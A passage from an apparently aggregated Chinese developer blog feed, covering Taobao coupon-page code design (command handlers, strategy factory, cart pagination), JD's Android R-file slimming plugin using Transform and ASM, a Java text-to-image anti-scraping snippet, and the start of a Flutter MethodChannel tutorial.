      }));
}

下面来看各个命令处理器,类图如下:


命令处理器主要分为SingleCommand和CommonCommand,CommonCommand为普通类型,即将data交与各个命令自行处理,而SingleCommand则是针对批量处理的情况下,将data集合提前拆好。两个核心区别就在于一个在框架层执行data的循环,一个是在各个命令层处理循环。主要作用在于:

  1. SingleCommand减少重复循环代码

  2. CommonCommand针对下游需要批量处理的可提高性能

续  谈一谈凑单页的那些优雅设计(下)

作者:鸣翰(郑健) 大淘宝技术 

收起阅读 »

谈一谈凑单页的那些优雅设计(下)

接 谈一谈凑单页的那些优雅设计(上)最终的成品如下,各个命令执行顺序一目了然▐ 多算法分流设计【RecommendEngine】:推荐引擎,用于推荐feeds流业务逻辑封装【BaseDataEngine】:通用数据引擎,将引擎的通用层抽离出来,简化通...
继续阅读 »

接 谈一谈凑单页的那些优雅设计(上)

下方是一个使用例子:

public class CouponCustomCommand implements CommonCommand {
  @Override
  public boolean check(CartContext context) {
      // 如果不是跨店满减或者品类券,不进行该命令处理 
      return Objects.equals(BenefitEnum.kdmj, context.getRequestContext().getCouponData().getBenefitEnum())
          || Objects.equals(BenefitEnum.plCoupon, context.getRequestContext().getCouponData().getBenefitEnum());
  }

  @Override
  public boolean execute(CartContext context) {
      CartData cartData = context.getData();
      // 命令处理
      return true;
  }

最终的成品如下,各个命令执行顺序一目了然


多算法分流设计

上面讲完了底层的一些代码结构设计,接下来讲一讲针对业务层的代码设计。凑单分为很多个模块,推荐feeds流、榜单模块、秒杀模块、搜索模块。整体效果图如下:


针对这种不同模块使用不同的算法,我们最先能想到的设计就是每个模块都是一个单独的接口。各自组装各自的逻辑。但在实现过程中会发现,这其中有很多通用的逻辑,比如推荐feeds流和限时秒杀模块,使用的都是凑单引擎的,算法逻辑完全相同,只是多了获取秒杀key的逻辑,所以我会选择使用同一个接口,让该接口能够尽量的通用。这里我选用了策略工厂模式,核心类图如下:


【SeckillEngine】:秒杀引擎,用于秒杀模块业务逻辑封装

【RecommendEngine】:推荐引擎,用于推荐feeds流业务逻辑封装

【SearchEngine】:搜索引擎,用于搜索模块业务逻辑封装

【BaseDataEngine】:通用数据引擎,将引擎的通用层抽离出来,简化通用代码

【EngineFactory】:引擎工厂,用于模块路由到合适的引擎

该模式下,针对可能不断累加的模块,能完成快速的开发并投入使用,该模式也是比较通用,大家都会选择的模式,我这里就不再过多的业务阐述了,就讲讲我对策略模式的理解吧,一提到策略模式,有人就觉得,它的作用是避免 if-else 分支判断逻辑。实际上,这种认识是很片面的。策略模式主要的作用还是解耦,控制代码的复杂度,让每个部分都不至于过于复杂、代码量过多。除此之外,对于复杂代码来说,策略模式还能让其满足开闭原则,添加新策略的时候,最小化、集中化代码改动,减少引入 bug 的风险。

*P.S. 实际上,设计原则和思想比设计模式更加普适和重要。掌握了代码的设计原则和思想,我们能更清楚的了解,为什么要用某种设计模式,就能更恰到好处地应用设计模式。*



取巧的功能设计

凑单购物车部分

  • 设计的背景

凑单是跨店优惠工具使用链路上的核心环节,用户对凑单有很高的诉求,但目前由于凑单页不支持实时凑单进度提示等问题,导致用户凑单体验较差,亟需优化凑单体验进而提升流量转化效率。但由于某些原因,我们不得不独立开发一套凑单购物车,同时加上凑单进度,其中商品数据源以及动态计算能力还是使用的淘宝购物车。

  • 基本框架结构设计

凑单页购物车是需要展示满足某个跨店满减活动的商品(套购同理),我不能直接使用购物车的接口直接返回所有商品数据以及优惠明细。所以我这里将购物车的访问拆成了两个部分,第一步先通过购物车的data.query接口查询出该用户所有加购的商品(该商品数据只有id,数量,时间相关的信息)。在凑单页先进行一次活动商品过滤后,再将剩余的商品调用购物车的动态计算接口,完成整个凑单购物车内所有数据的展示。流程如下:


  • 分页排序设计

大促期间,购物车大部分加购的品都是满足跨店满减活动的,如果每次都所有的商品参与动态计算并一次返回,性能会非常的差,所以这里就需要做到分页,页面展示如果涉及到了分页,难度系数将成倍的上升。首先我们来看凑单购物车的排序需求:

  1. 首次进入凑单页商品的顺序需要和购物车保持一致

    同一个店铺的需要放在一起,按加购时间倒序排

    店铺间按最新加购的某个商品的加购时间倒序排

  2. 如果是从某个店铺点进来的,该店铺需要在凑单页置顶,并主动勾选

  3. 如果过程中发现有新加入的品,该品需要置顶(不用将该店铺的其他品置顶)

  4. 如果过程中发现有失效的商品需要沉底(放到最后一页并沉底)

  5. 如果过程中发现有失效的品转成生效,需移上来

难点分析

  1. 排序并不是简单的按照时间维度排,增加的店铺维度,以及店铺置顶的能力

  2. 我们没有自己的数据源,每次查出来都得重新排序

  3. 第一次进入的排序和后续新加购的商品排序不同

  4. 支持分页

技术方案

首先能想到的就是找个地方存一下排序好的顺序,第一选择肯定是使用redis,但根据评估如果按用户维度去存储商品顺序,亿级的用户量 * 活动量需要耗费几百G的缓存容量,同时还需要维护该缓存的生命周期,相对还是比较麻烦。这种用户维度的缓存最好是通过客户端来进行缓存,我该如何利用前端来做该缓存,并让前端无感知呢?以下是我的接口设计:

itemList[{"cartId": 11111,"quantity":50,"checked": 是否勾选}]当前所有前端的品
sign{}标志,前端不需要关注里面的东西,后端返回直接传,如果没有就不传
nexttrue是否继续加载
allCheckedtrue是否全选
handle[{"cartId":1111,"quantity": 5,"checked":true,"type": modify}]type=modify更新,checked勾选,nonChecked去掉勾选

其中sign对象服务端返回给前端,下一次请求需要将sign对象原封不动的传给服务端,sign中存储了分页信息,以及需要商品的排序,sign对象如下:

public class Sign {
  /**
    * 已加载到到权重
    */
  private Integer weight;

  /**
    * 本次查询购物车商品最晚加购时间
    */
  private Long endTime;

  /**
    * 上一次查询购物车所有排序好的商品
    */
  private List activityItemList;
}

具体方案

  1. 首次进入按商品加购时间以及店铺维度做好初始排序,并标记weight(第一个200,第二个199,依次类推),并保存在sign对象的activityItemList中,取第一页数据,并将该页最小weight和所有商品的最晚加购时间endTime同步记录到sign中。并将sign返回给前端

  2. 前端在加载下一页时将上次请求后端返回的sign字段重新传给后端,后端根据sign中的weight大小判断,依次取下一页数据,同时将最新的最小weight写入sign,返回给前端。

  3. 期间如果发现有商品的加购时间大于sign中的endTime,则主动将其置顶,weight使用默认最大数字200。

  4. 由于在排序时无法知道商品是否失效以及能够勾选,所以需要在商品补全后(调用购物车的动态计算接口)重新对失效商品排序。

    如果本页没有失效的品,不做处理

    如果本页全是失效的品,不做处理(为了处理最后几页都是失效品的情况)

    如果有下一页,将失效的品放到后面页沉底

    如果当前页是最后一页,则直接沉底

方案时序图如下:


  • 商品勾选设计

购物车的商品勾选后就会出现勾选商品的下单价格以及能享受的各类优惠,勾选情况主要分为:

  1. 勾选、反勾选、全选

  2. 全选情况下加载下一页

  3. 勾选的商品数量变化

效果图如下:


难点

  1. 勾选的品越多,动态计算的rt越长,当50个品一起勾选,页面接口返回时间将近1.5s

  2. 全选的情况下,下拉加载需要将新加载出来的品主动勾选上

  3. 尽可能的减少调用动态计算(比如加载非勾选的品,修改非勾选的商品数量)

设计方案

  1. 由于可能需要计算所有勾选的商品,所以前端需要将当前所有已加载的商品数据的勾选状态告知服务端

  2. 超过50个勾选商品时,不再调用动态计算接口,直接用本地价格计算总价,同时降级优惠明细和凑单进度

  3. 前端根据后端返回结果进行合并操作,减少不必要的计算开销

整体逻辑如下:


同时针对勾选处理,我将各类获取商品信息的动作封装进领域模型中(比如已勾选品,全部品,下一页品,操作的品,方便复用,⬆️代码设计已经讲过),获取各类商品的逻辑代码如下:

List activityItemList = cartData.getActivityItemList();
Map alreadyMap = requestContext.getAlreadyMap();
Map checkedItemMap = requestContext.getCheckedItemMap();
Map addNextItemMap = Optional.ofNullable(cartData.getAddNextItemList())
  .map(o -> o.stream().collect(Collectors.toMap(CartItemData::getCartId, Function.identity())))
  .orElse(Collections.emptyMap());
Map checkedHandleMap = context.getCheckedHandleMap();
Map nonCheckedHandleMap = context.getNonCheckedHandleMap();
Map modifyHandleMap = context.getModifyHandleMap();

勾选处理的逻辑代码如下:

boolean calculateAllChecked = isCalculateAllChecked(context, activityItemList);
activityItemList.forEach(v -> {
  CartItemDetail cartItemDetail = CartItemDetail.build(v);
  // 新加入的品,加入动态计算列表,并勾选
  if (v.getLastAddTime() > context.getEndTime()) {
      cartItemDetail.setChecked(true);
      cartData.addCalculateItem(cartItemDetail);
      // 勾选操作的品,加入动态计算列表,并勾选
  } else if (checkedHandleMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(true);
      cartData.addCalculateItem(cartItemDetail);
      // 取消勾选的品,加入动态计算列表,并去勾选
  } else if (nonCheckedHandleMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(false);
      cartData.addCalculateItem(cartItemDetail);
      // 勾选商品的数量修改,加入动态计算
  } else if (modifyHandleMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(modifyHandleMap.get(v.getCartId()).getChecked());
      cartData.addCalculateItem(cartItemDetail);
      // 加载下一页,加入动态计算,如果是全选动作下,则将该页商品勾选
  } else if (addNextItemMap.containsKey(v.getCartId())) {
      if (context.isAllChecked()) {
          cartItemDetail.setChecked(true);
      }
      cartData.addCalculateItem(cartItemDetail);
      // 判断是否需要将之前所有勾选的商品加入动态计算
  } else if (calculateAllChecked && checkedItemMap.containsKey(v.getCartId())) {
      cartItemDetail.setChecked(true);
      cartData.addCalculateItem(cartItemDetail);
  }
});

P.S. 这里可能有人会发现,这么多的if-else就觉得它是烂代码。如果 if-else 分支判断不复杂、代码不多,这并没有任何问题,毕竟 if-else 分支判断几乎是所有编程语言都会提供的语法,存在即有理由。遵循 KISS 原则,怎么简单怎么来,就是最好的设计。非得用策略模式,搞出 n 多类,反倒是一种过度设计。

营销商品引擎key设计

  • 设计的背景

跨店满减和品类券从引擎中筛选是通过couponTagId + couponValue来召回的,couponTagId是ump的活动id,couponValue则是记录了满减信息。随着需求的迭代,我们需要展示满足跨店满减并同时满足其他营销玩法(比如限时秒杀)的商品,这里我们已经能筛选出满足跨店满减的品,但如果筛选出当前正在生效的限时秒杀的品呢?


  • 详细索引设计

导购的召回主要依赖倒排索引,而我们秒杀商品召回的关键是正在生效,所以我的设想是将时间写入key中,就有了如下设计:

字段示例:mkt_fn_t_60_08200000_60

index例子描述
0mkt营销工具平台
1fn前N
2t前N分钟
360开始前60分钟为预热时间
4082000008月20号0点0分
560开始后60分钟为结束时间

使用方可以遍历当前所有key,本地计算出当前正在生效的key再进行召回,具体细节这里就不做阐述了



最后的总结

设计的初衷是提高代码质量

我们经常会讲到一个词:初心。这词说的其实就是,你到底是为什么干这件事。不管走多远、产品经过多少迭代、转变多少次方向,“初心”一般都不会随便改。实际上,写代码也是如此。应用设计模式只是方法,最终的目的是提高代码的质量。具体点说就是,提高代码的可读性、可扩展性、可维护性等。所的设计都是围绕着这个初心来做的。

所以,在做代码设计的时候,一定要先问下自己,为什么要这样设计,为什么要应用这种设计模式,这样做是否能真正地提高代码质量,能提高代码质量的哪些方面。如果自己很难讲清楚,或者给出的理由都比较牵强,那基本上就可以断定这是一种过度设计,是为了设计而设计。

设计的过程是先有问题后有方案

在设计的过程中,我们要先去分析代码存在的痛点,比如可读性不好、可扩展性不好等等,然后再针对性地利用设计模式去改善,而不是看到某个场景之后,觉得跟之前在某本书中看到的某个设计模式的应用场景很相似,就套用上去,也不考虑到底合不合适,最后如果有人问起了,就再找几个不痛不痒、很不具体的伪需求来搪塞,比如提高了代码的扩展性、满足了开闭原则等等。

设计的应用场景是复杂代码

设计模式的主要作用就是解耦,也就是利用更好的代码结构将一大坨代码拆分成职责更单一的小类,让其满足高内聚低耦合等特性。而解耦的主要目的是应对代码的复杂性。设计模式就是为了解决复杂代码问题而产生的。

因此,对于复杂代码,比如项目代码量多、开发周期长、参与开发的人员多,我们前期要多花点时间在设计上,越是复杂代码,花在设计上的时间就要越多。不仅如此,每次提交的代码,都要保证代码质量,都要经过足够的思考和精心的设计,这样才能避免烂代码。

相反,如果你参与的只是一个简单的项目,代码量不多,开发人员也不多,那简单的问题用简单的解决方案就好,不要引入过于复杂的设计模式,将简单问题复杂化。

持续重构能有效避免过度设计

应用设计模式会提高代码的可扩展性,但同时也会带来代码可读性的降低,复杂度的升高。一旦我们引入某个复杂的设计,之后即便在很长一段时间都没有扩展的需求,我们也不可能将这个复杂的设计删除,后面一直要背负着这个复杂的设计前行。

为了避免错误的预判导致过度设计,我比较喜欢持续重构的开发方法。持续重构不仅仅是保证代码质量的重要手段,也是避免过度设计的有效方法。我上面的核心流程处理的框架代码,也是在一次又一次的重构中才写出来的。

作者:鸣翰(郑健) 大淘宝技术

收起阅读 »

插件化工程R文件瘦身技术方案

随着业务的发展及版本迭代,客户端工程中不断增加新的业务逻辑、引入新的资源,随之而来的问题就是安装包体积变大,前期各个业务模块通过无用资源删减、大图压缩或转上云、AB实验业务逻辑下线或其他手段在降低包体积上取得了一定的成果。在瘦身的过程中我们关注到了R文件瘦身的...
继续阅读 »

随着业务的发展及版本迭代,客户端工程中不断增加新的业务逻辑、引入新的资源,随之而来的问题就是安装包体积变大,前期各个业务模块通过无用资源删减、大图压缩或转上云、AB实验业务逻辑下线或其他手段在降低包体积上取得了一定的成果。

在瘦身的过程中我们关注到了R文件瘦身的概念,目前京东APP是支持插件化的,有业务插件工程、宿主工程,对业务插件包文件进行分析,发现除了常规的资源及代码外,R类文件大概占包体积的3%~5%左右,对宿主工程包文件进行分析,R类文件占比也有3%左右。我们先后在对R类文件瘦身的可行性及业界开源项目进行调研后,探索出了一套适用于插件化工程的R文件瘦身技术方案。

理论基础—R文件

R文件也就是我们日常工作中经常打交道的R.java文件,在Android开发规范中我们需要将应用中用到的资源分别放入专门命名的资源目录中,外部化应用资源以便对其进行单独维护。


外部化应用资源后,我们可在项目中使用R类ID来访问这些资源,且R类ID具有唯一性。

public class MainActivity extends BaseActivity {
  @Override
  protected void onCreate(@Nullable Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.activity_main);
  }
}

在android apk打包流程中R类文件是由aapt(Android Asset Packaing Tool)工具打包生成的,在生成R类文件的同时对资源文件进行编译,生成resource.arsc文件,resource.arsc文件相当于一个文件索引表,应用层代码通过R类ID 可以访问到对应的资源。


R文件瘦身的可行性分析

日常开发阶段,在主工程中通过R.xx.xx的方式引用资源,经过编译后R类引用对应的常量会被编译进class中。

setContentView(2131427356);

这种变化叫做内联,内联是java的一种机制(如果一个常量被标记为static final,在java编译的过程中会将常量内联到代码中,减少一次变量的内存寻址)。

非主工程中,R类资源ID以引用的方式编译进class中,不会产生内联。

setContentView(R.layout.activity_main);

产生这种现象的原因是AGP打包工具导致的。具体细节,大家可以去查阅一下android gradle plugin在R文件上的处理过程。

结论:R类id内联后程序可运行,但并非所有的工程都会自动产生内联现象,我们需要通过技术手段在合适的时机将R类id内联到程序中,内联完成后,由于不再依赖R类文件,则可以将R类文件删除,在应用正常运行的同时,达到包瘦身目的。

插件化工程R文件瘦身实战

制定技术方案

目前京东Android客户端是支持插件化的,整个插件化工程包含公共库(是一个aar工程,用来存放组件和宿主共用的类和资源)、业务插件(插件工程是一个独立的工程,编译产物可以运行在宿主环境中)、宿主(主工程,提供运行环境)。在插件化的过程中为了防止宿主和插件资源冲突,通过修改插件packageId保证了资源的唯一性。由于公共资源库、宿主是被很多业务依赖,对这两个项目进行改动评估影响涉及比较多,插件一般都是业务模块自行维护,不存在被依赖问题,所以先在业务插件模块进行R类瘦身实践。

对业务插件工程打出的包进行反编译以后,发现R类ID无内联现象,且R类文件具有一定的大小,对包内的R文件进行分析,发现R文件中仅包含业务自身的资源,不包含业务依赖的公共资源R类。

public View onCreateView(LayoutInflater paramLayoutInflater, ViewGroup paramViewGroup, Bundle paramBundle)
{
  this.b = paramLayoutInflater.inflate(R.layout.lib_pd_main_page, paramViewGroup, false);
  this.h = (PDBuyStatusView) this.b.findViewById(R.id.pd_buy_status_view);
  this.f = (PageRecyclerView) this.b.findViewById(R.id.lib_pd_recycle_view);
}


结合对业界开源项目的调研分析,尝试制定符合京东商城的技术方案并优先在业务插件内完成R类ID内联并删除对应的R文件。

1.通过**transform** api 收集要处理的class文件

Transform 是 Android Gradle 提供的操作字节码的一种方式,它在 class 编译成 dex 之前通过一系列 Transform 处理来实现修改.class文件。

@Override
public void transform(TransformInvocation transformInvocationthrows TransformExceptionInterruptedExceptionIOException {
super.transform(transformInvocation);
// 通过TransformInvocation.getInputs()获取输入文件,有两种
// DirectoryInpu以源码方式参与编译的目录结构及目录下的文件
// JarInput以jar包方式参与编译的所有jar包
   allDirs = new ArrayList<>(invocation.getInputs().size());
   allJars = new ArrayList<>(invocation.getInputs().size());
   Collection<TransformInput> inputs = invocation.getInputs();
   for (TransformInput input : inputs) {
       Collection<DirectoryInput> directoryInputs = input.getDirectoryInputs();
        for (DirectoryInput directoryInput : directoryInputs) {
              allDirs.add(directoryInput.getFile());
            }
           Collection<JarInput> jarInputs = input.getJarInputs();
        for (JarInput jarInput : jarInputs) {
               allJars.add(jarInput.getFile());
            }
    }
}

2.对收集到的.class文件结合ASM框架进行分析处理

ASM是一个操作Java字节码的类库,通过ASM我们可以方便对.class文件进行修改。

优先识别R类文件,通过ClassVisitor访问R.class文件,读取文件中的静态常量,进行临时变量存储:

@Overridepublic FieldVisitor visitField(int access, String name, String desc, String signature, Object value)
{ //R类中收集 
  public static final int 对应的变量
  if(JDASMUtil.isPublic(access) && JDASMUtil.isStatic(access) && JDASMUtil.isFinal(access) && JDASMUtil.isInt(desc))
  {
      jdRstore.addInlineRField(className, name, value);
  }
  return super.visitField(access, name, desc, signature, value);
}

非R类文件,通过MethodVisitor识别到代码中的R类引用,获取引用对应的值,进行id值替换:

@Override
   public void visitFieldInsn(int opcodeString ownerString nameString desc) {
       if (opcode == Opcodes.GETSTATIC) {
           //owner:包名;name:具体变量名;value:R类变量对应的具体id值
           Object value = jdRstore.getRFieldValue(ownername);
           if (value != null) {
             //调用该api实现值替换
               mv.visitLdcInsn(value);
               return;
          }
      }
       super.visitFieldInsn(opcodeownernamedesc);
  }

*注:以上代码仅为部分示意代码,非正式插件代码。


在业务模块引入R类瘦身插件后,业务模块功能可正常运行,且插件包大小均有3%~5%不同程度的减少。

公共资源R类ID内联

由于在京东android客户端代码中,更多的资源文件集中在公共资源库中,相对的公共库生成的R类文件也更大,对编译后的apk包内容进行分析后,公共资源库的R类文件占比高达3%。

公共库跟随宿主一起打包,在宿主打包过程中引入R类瘦身插件,打包后的apk有明显的减小,手机安装apk后启动首页正常展示无问题,但在打开某些业务插件时,会有异常闪退现象,崩溃类型为R.x resource not found。对崩溃原因分析如下:业务插件代码中使用了公共库中的R类资源、插件打包流程独立于宿主打包,在插件打包的过程中仅完成了业务模块R类的内联,并没有考虑到公共资源R类的内联,基于上述原因当宿主打包过程完成R类文件删除瘦身后,我们在运行某业务插件的过程中,自然就会报公共资源R类找不到的问题从而产生崩溃。


为了解决这个问题一开始的方案设想是增加白名单机制,keep住所有被业务模块使用的公共资源,但很快这个想法就被推翻,公共资源存在本身就是希望各个业务模块直接引用这部分资源,而不是自己定义,如果keep住的话,必然有很大一部分的资源无法删减,瘦身的效果会大打折扣。

既然保留的方案并不合适,那就将公共资源R类id也内联到代码中去。前面提到京东是支持插件化的,整个插件化方案是基于aura平台实现的,我们向aura团队进行了咨询,然后get到了新的方案切入点。

aura平台在插件化的过程中已通过aapt2引入了公共资源id固定的能力,在该能力下,已定义的公共资源id会一直固定(各个业务插件中引用的公共资源id一致),且公共资源库中已有的资源不可被其他模块重复定义,否则会覆盖之前已定义好的资源,基于上述的结果和规则,我们对之前的R文件瘦身gralde plugin功能进行完善,将公共资源的R类id 内联到项目中。

利用appt2的-stable-ids和-emit-ids两个参数实现固化资源id的功能,并将将固化后的ids文件命名为shared_res_public.xml存储在公共资源库中,业务插件依赖公共资源库,在打包编译的过程中aura会将shared_res_public.xml复制到业务工程临时编译文件夹intermediates下的指定位置并参与业务模块的打包过程中,其文件内容格式如下:


修改R文件瘦身gradle plugin 代码,从指定位置读取并识别这部分公共资源,按照<name,id>的形式进行变量存储,并在后续过程中对业务模块中的公共资源部分进行id替换。


public Map<StringString> parse() thro ws Exce ption {
       if (in == null) {
           return null;
      }
       DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
       DocumentBuilder builder = factory.newDocumentBuilder();
       Document doc = builder.parse(in);
       Element rootElement = doc.getDocumentElement();
       NodeList list = rootElement.getChildNodes();
      ......
       return resNode;
  }
}

至此,我们的R文件瘦身gradle plugin将R资源分为两部分进行存储,一部分为业务自身的R类资源,一部分为我们解析固定目录下的公共R类资源,对之前的R文件瘦身流程进行如下修改:


R类资源id内联部分代码如下:

public void visitFieldInsn(int opcodeString ownerString nameString desc) {
       if (opcode == Opcodes.GETSTATIC) {
           //优先从业务模块R类资源中查找
           Object value = jdRstore.getRFieldValue(ownername);
           if (value != null) {
               mv.visitLdcInsn(value);
               return;
          }
          //从公共R类资源中查找
           value = getPublicRFileValue(name);
           if (value != null) {
               mv.visitLdcInsn(value);
               return;
          }
      }
       super.visitFieldInsn(opcodeownernamedesc);
  }

该方案完善后,结合商详业务插件进行了验证,在商详及宿主均完成R文件内联瘦身后,商详模块业务功能可正常使用,无异常现象。

考虑到R文件内联瘦身gradle plugin是在打包编译阶段引入的,我们也统计了一下引入该插件以后对打包时长的影响,数据如下:


结合数据来看,引入R文件瘦身插件后对整体打包时长并无显著影响。

至此,基于京东商城探索的插件化工程R文件瘦身gradle plugin就开发完成,目前已在部分业务插件模块进行了线上验证,在功能上线以后我们也及时的进行了崩溃观测以及用户反馈的跟进,暂无异常问题。当然围绕R文件瘦身缩减包体积这个目的,开发人员有各种各样的技术方案,上述方案不一定适用于所有的客户端开发体系,另外后续也将围绕包瘦身这一常态事务建设一系列的相关工具,介入工作当中的各个阶段,高效、有效的控制包体积的增长,如大家在瘦身方面有相关建议和想法也欢迎大家来一起讨论。

参考文章:

Gradle Plugin:

https://docs.gradle.org/current/userguide/custom_plugins.html

Gradle Transform:

https://developer.android.com/reference/tools/gradle-api/7.0/com/android/build/api/transform/Transform

APK 构建流程:

https://developer.android.com/studio/build/index.html?hl=zh-cn#build-process

作者:耿蕾 田创新 京东零售技术

收起阅读 »

Java文字转图片防爬虫

最近部分页面数据被爬虫疯狂的使用,主要就是采用动态代理IP爬取数据,主要是不控制频率,这个最恶心。因为对方是采用动态代理的方式,所以没什么特别好的防止方式。具体防止抓取数据方案大全,下篇博客我会做一些讲解。本篇也是防爬虫的一个方案。就是部分核心文字采用图片输出...
继续阅读 »

最近部分页面数据被爬虫疯狂的使用,主要就是采用动态代理IP爬取数据,主要是不控制频率,这个最恶心。因为对方是采用动态代理的方式,所以没什么特别好的防止方式。

具体防止抓取数据方案大全,下篇博客我会做一些讲解。本篇也是防爬虫的一个方案。就是部分核心文字采用图片输出。加大数据抓取方的成本。

图片输出需求

上图红色圈起来的数据为图片输出了备案号,就是要达到这个效果,如果数据抓取方要继续使用,必须做图片解析,成本和难度都加到了。也就是我们达到的效果了。

Java代码实现

import javax.imageio.ImageIO;

import java.awt.*;

import java.awt.font.FontRenderContext;

import java.awt.geom.AffineTransform;

import java.awt.geom.Rectangle2D;

import java.awt.image.BufferedImage;

import java.io.File;

import java.nio.file.Paths;

public class ImageDemo {

public static void main(String[] args) throws Exception {

System.out.println(System.currentTimeMillis());

//输出目录

String rootPath = "/Users/sojson/Downloads/";

//这里文字的size,建议设置大一点,其实就是像素会高一点,然后缩放后,效果会好点,最好是你实际输出的倍数,然后缩放的时候,直接按倍数缩放即可。

Font font = new Font("微软雅黑", Font.PLAIN, 130);

createImage("https://www.sojson.com", font, Paths.get(rootPath, "sojson-image.png").toFile());

}

private static int[] getWidthAndHeight(String text, Font font) {

Rectangle2D r = font.getStringBounds(text, new FontRenderContext(

AffineTransform.getScaleInstance(1, 1), false, false));

int unitHeight = (int) Math.floor(r.getHeight());//

// 获取整个str用了font样式的宽度这里用四舍五入后+1保证宽度绝对能容纳这个字符串作为图片的宽度

int width = (int) Math.round(r.getWidth()) + 1;

// 把单个字符的高度+3保证高度绝对能容纳字符串作为图片的高度

int height = unitHeight + 3;

return new int[]{width, height};

}

// 根据str,font的样式以及输出文件目录

public static void createImage(String text, Font font, File outFile)

throws Exception {

// 获取font的样式应用在输出内容上整个的宽高

int[] arr = getWidthAndHeight(text, font);

int width = arr[0];

int height = arr[1];

// 创建图片

BufferedImage image = new BufferedImage(width, height,

BufferedImage.TYPE_INT_BGR);//创建图片画布

//透明背景 the begin

Graphics2D g = image.createGraphics();

image = g.getDeviceConfiguration().createCompatibleImage(width, height, Transparency.TRANSLUCENT);

g=image.createGraphics();

//透明背景 the end

/**

如果你需要白色背景或者其他颜色背景可以直接这么设置,其实就是满屏输出的颜色

我这里上面设置了透明颜色,这里就不用了

*/

//g.setColor(Color.WHITE);

//画出矩形区域,以便于在矩形区域内写入文字

g.fillRect(0, 0, width, height);

/**

* 文字颜色,这里支持RGB。new Color("red", "green", "blue", "alpha");

* alpha 我没用好,有用好的同学可以在下面留言,我开始想用这个直接输出透明背景色,

* 然后输出文字,达到透明背景效果,最后选择了,createCompatibleImage Transparency.TRANSLUCENT来创建。

* android 用户有直接的背景色设置,Color.TRANSPARENT 可以看下源码参数。对alpha的设置

*/

g.setColor(Color.gray);

// 设置画笔字体

g.setFont(font);

// 画出一行字符串

g.drawString(text, 0, font.getSize());

// 画出第二行字符串,注意y轴坐标需要变动

g.drawString(text, 0, 2 * font.getSize());

//执行处理

g.dispose();

// 输出png图片,formatName 对应图片的格式

ImageIO.write(image, "png", outFile);

}

}

输出图片效果:


当然我这里是做了放缩,要不然效果没那么好。

注意点:

其实代码里注释说的已经比较清楚了。主要设置透明色这里。

//透明背景 the begin
Graphics2D g = image.createGraphics();
image = g.getDeviceConfiguration().createCompatibleImage(width, height, Transparency.TRANSLUCENT);
g=image.createGraphics();
//透明背景 the end

Android 参考的颜色值

android.graphics.Color 包含颜色值
Color.BLACK 黑色
Color.BLUE 蓝色
Color.CYAN 青绿色
Color.DKGRAY 灰黑色
Color.GRAY 灰色
Color.GREEN 绿色
Color.LTGRAY 浅灰色
Color.MAGENTA 红紫色
Color.RED 红色
Color.TRANSPARENT 透明
Color.WHITE 白色
Color.YELLOW 黄色




收起阅读 »

Flutter 混合开发(Android)Flutter跟Native相互通信

前言Flutter 作为混合开发,跟native端做一些交互在所难免,比如说调用原生系统传感器、原生端的网络框架进行数据请求就会用到 Flutter 调用android 及android 原生调用 Flutter的方法,这里就涉及到Platform Chann...
继续阅读 »

前言

Flutter 作为混合开发,跟native端做一些交互在所难免,比如说调用原生系统传感器、原生端的网络框架进行数据请求就会用到 Flutter 调用android 及android 原生调用 Flutter的方法,这里就涉及到Platform Channels(平台通道)

Platform Channels (平台通道)

Flutter 通过Channel 与客户端之间传递消息,如图:


图中就是通过MethodChannel的方式实现Flutter 与客户端之间的消息传递。MethodChannel是Platform Channels中的一种,Flutter有三种通信类型:

BasicMessageChannel:用于传递字符串和半结构化的信息

MethodChannel:用于传递方法调用(method invocation)通常用来调用native中某个方法

EventChannel: 用于数据流(event streams)的通信。有监听功能,比如电量变化之后直接推送数据给flutter端。

为了保证UI的响应,通过Platform Channels传递的消息都是异步的。

更多关于channel原理可以去看这篇文章:channel原理篇

Platform Channels 使用

1.MethodChannel的使用

原生客户端写法(以Android 为例)

首先定义一个获取手机电量方法

private int getBatteryLevel() {
return 90;
}

这函数是要给Flutter 调用的方法,此时就需要通过 MethodChannel 来建立这个通道了。

首先新增一个初始化 MethodChannel 的方法

private String METHOD_CHANNEL = "common.flutter/battery";
private String GET_BATTERY_LEVEL = "getBatteryLevel";
private MethodChannel methodChannel;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
GeneratedPluginRegistrant.registerWith(this);
initMethodChannel();
getFlutterView().postDelayed(() ->
methodChannel.invokeMethod("get_message", null, new MethodChannel.Result() {
@Override
public void success(@Nullable Object o) {
Log.d(TAG, "get_message:" + o.toString());
}

@Override
public void error(String s, @Nullable String s1, @Nullable Object o) {

}

@Override
public void notImplemented() {

}
}), 5000);

}

private void initMethodChannel() {
methodChannel = new MethodChannel(getFlutterView(), METHOD_CHANNEL);
methodChannel.setMethodCallHandler(
(methodCall, result) -> {
if (methodCall.method.equals(GET_BATTERY_LEVEL)) {
int batteryLevel = getBatteryLevel();

if (batteryLevel != -1) {
result.success(batteryLevel);
} else {
result.error("UNAVAILABLE", "Battery level not available.", null);
}
} else {
result.notImplemented();
}
});


}

private int getBatteryLevel() {
return 90;
}

METHOD_CHANNEL 用于和flutter交互的标识,由于一般情况下会有多个channel,在app里面需要保持唯一性

MethodChannel 都是保存在以通道名为Key的Map中。所以要是设了两个名字一样的channel,只有后设置的那个会生效。

onMethodCall 有两个参数,onMethodCall 里包含要调用的方法名称和参数。Result是给Flutter的返回值。方法名是客户端与Flutter统一设定。通过if/switch语句判断 MethodCall.method 来区分不同的方法,在我们的例子里面我们只会处理名为“getBatteryLevel”的调用。在调用本地方法获取到电量以后通过 result.success(batteryLevel) 调用把电量值返回给Flutter。

MethodChannel-Flutter 端

直接先看一下Flutter端的代码

class _MyHomePageState extends State<MyHomePage> {
int _counter = 0;
static const platform = const MethodChannel('common.flutter/battery');

void _incrementCounter() {
setState(() {
_counter++;
_getBatteryLevel();
});
}

@override
Widget build(BuildContext context) {
platform.setMethodCallHandler(platformCallHandler);
return Scaffold(
appBar: AppBar(
title: Text(widget.title),
),
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
Text(
'You have pushed the button this many times:',
),
Text(
'$_counter',
style: Theme.of(context).textTheme.display1,
),
Text('$_batteryLevel'),
],
),
),
floatingActionButton: FloatingActionButton(
onPressed: _incrementCounter,
tooltip: 'Increment',
child: Icon(Icons.add),
),
);
